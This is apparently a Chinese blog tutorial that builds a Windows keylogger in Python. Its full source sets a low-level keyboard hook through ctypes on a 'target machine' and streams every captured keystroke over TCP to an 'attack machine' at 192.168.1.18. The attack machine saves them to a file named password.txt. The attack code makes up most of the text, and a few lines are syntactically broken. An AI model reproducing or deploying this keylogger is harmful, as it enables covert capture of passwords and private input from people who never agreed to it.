Python黑客攻防(二)键盘监听

注:首发于微信公众号:黑客帮。本教程仅供学习交流,未经允许禁止转载。请勿用于非法用途,后果自负。大神勿喷。

前言:本篇教程演示如何编写一个键盘监听器,在内网中获取目标用户输入并保存。个人能力有限只能捕获26个英文字符和26个英文键上方的0到9,捕获到的0到9对应字符分别是“PQRSTUVWXY”,测试见文末视频。

原理:使用ctypes模块进行键盘输入信息勾取,然后通过TCP通信将勾取到的信息传输到攻击机然后保存。

(ctypes官方文档:https://docs.python.org/3.7/library/ctypes.html)

教程:

(一)键盘输入信息勾取

导入DLL库为注册钩子准备

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

用处:

user32.dll:是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息。

kernel32.dll:控制着系统的内存管理、数据的输入输出操作和中断处理。

注册HOOK

Hook技术:又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递。

通过官方文档可知钩子的类型:

HHOOK SetWindowsHookExA(
  int       idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);

python代码

def installHookProc(hooked, pointer):
    hooked = user32.SetWindowsHookExA(
        13,
        pointer,
        kernel32.GetModuleHandleW(),
        0
    )

第一个参数:
WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件。

第二个参数:
lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的。

第三个参数:
hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW()来获取句柄。

第四个参数:
dwThreadId我们填入0代表与同一桌面上所有的线程关联。

编写钩子

在Windows中需要用WINFUNCTYPE来创建函数,WINFUNCTYPE为Windows下独有的,通过使用使用stdcall调用约定的函数。

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

关于回调函数因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数。我们也需要在Python中定义它。

LowLevelKeyboardProc数据结构如下

LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int    nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值。

python代码

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)]
def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        if wParam == 256:
            if 162 == lParam.contents.value:
                print("Ctrl pressed, call Hook uninstall()")
                uninstallHookProc(hooked)
                sys.exit(-1)
            capsLock = user32.GetKeyState(20)
            # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
            if lParam.contents.value == 13:
                print("\n")
            elif capsLock:
                print(chr(lParam.contents.value), end="")else:
                print(chr(lParam.contents.value + 32), end="")  # 输出勾取到的数据
​
                tcp_l(chr(lParam.contents.value + 32))  # tcp传输
​
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
删除HOOK
      主动删除HOOK,不然大量的HOOK会使系统运行缓慢。
user32.UnhookWindowsHookEx(hooked)

(二)TCP通信

服务端(攻击机)
将收到的数据保存

#写入文件
def write_file(word):
  f = open(r"C:\Users\ASUS\Desktop\password.txt","a+",encoding="utf-8")
  f.write(word)

接收数据

MaxBytes = 1024 * 1024 # 最大字节
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(120)
#host = '192.168.1.18'
host = socket.gethostname() # 获取本机ip
port = 2828
server.bind((host, port))  # 绑定端口
​
server.listen(1)  # 监听
try:
    client, addr = server.accept()  # 等待客户端连接
    print(addr, " 连接成功!\n")
    while True:
        data = client.recv(MaxBytes)
        localTime = time.asctime(time.localtime(time.time()))
        print(localTime, ' 接收到数据字节数:', len(data))
        write_file(data.decode())  #调用文件写入函数
        print(data.decode())        
except BaseException as e:
    print("出现异常:%s"%e)    
finally:
    server.close()  # 关闭连接
    print("连接已断开!!")

客户端(靶机)

import socket
MaxBytes = 1024 * 1024
host = '192.168.1.18'  # 服务端的IP
port = 2828  # 端口
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(100)  # 设置超时时间
client.connect((host, port))
​
def tcp_l(word2):
    client.send(word2.encode())

(三)完整源码

1.受监听端

# -*- coding: gbk -*-
# 勾取
import sys
from ctypes import *
from ctypes.wintypes import DWORD, MSG
​
# 传输
import socket
​
MaxBytes = 1024 * 1024
host = '192.168.1.18'  # 服务端IP
port = 2828
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(60)  
client.connect((host, port))
​
def tcp_l(word2):
    client.send(word2.encode())#client.close()
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
​
class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)]
​
​
def uninstallHookProc(hooked):
    if hooked is None:
        return
    user32.UnhookWindowsHookEx(hooked)
    hooked = None
​
​
def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        if wParam == 256:
            if 162 == lParam.contents.value:
                print("Ctrl pressed, call Hook uninstall()")
                uninstallHookProc(hooked)
                sys.exit(-1)
            capsLock = user32.GetKeyState(20)
           
            if lParam.contents.value == 13:
                print("\n")
            elif capsLock:
                print(chr(lParam.contents.value), end="")else:
                print(chr(lParam.contents.value + 32), end="")  # 输出勾取到的数据
​
                tcp_l(chr(lParam.contents.value + 32))  # tcp传输
​
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
​
​
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)
​
​
def installHookProc(hooked, pointer):
    hooked = user32.SetWindowsHookExA(
        13,
        pointer,
        kernel32.GetModuleHandleW(),
        0
    )
    if not hooked:
        return False
    return True
​
​
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
​
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
    print("Hook installed")
    try:
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)
    except KeyboardInterrupt as kerror:
        uninstallHookProc(hooked)
        print("Hook uninstall...")
else:
    print("Hook installed error")

监听端

#coding: gbk 
import socket
import time
​
#写入文件
def write_file(word):
  f = open(r"C:\Users\ASUS\Desktop\password.txt","a+",encoding="utf-8")
  f.write(word)
​
MaxBytes = 1024 * 1024 # 最大字节
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(60)
#host = '192.168.1.18'
host = socket.gethostname() # 获取本机ip
port = 2828
server.bind((host, port))  # 绑定端口
​
server.listen(1)  # 监听
try:
    client, addr = server.accept()  # 等待客户端连接
    print(addr, " 连接成功!\n")
    while True:
        data = client.recv(MaxBytes)
        localTime = time.asctime(time.localtime(time.time()))
        print(localTime, ' 接收到数据字节数:', len(data))
        write_file(data.decode())  # 调用写入函数
        print(data.decode())
        
except BaseException as e:
    print("出现异常:%s"%e)
    
finally:
    server.close()  # 关闭连接
    print("连接已断开!!")

(四)测试视频

物理机:受监听端
虚拟机:监听端
链接:https://pan.baidu.com/s/1NMf55PHaRd-jVsngq5oU0w
提取码:2hc6

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值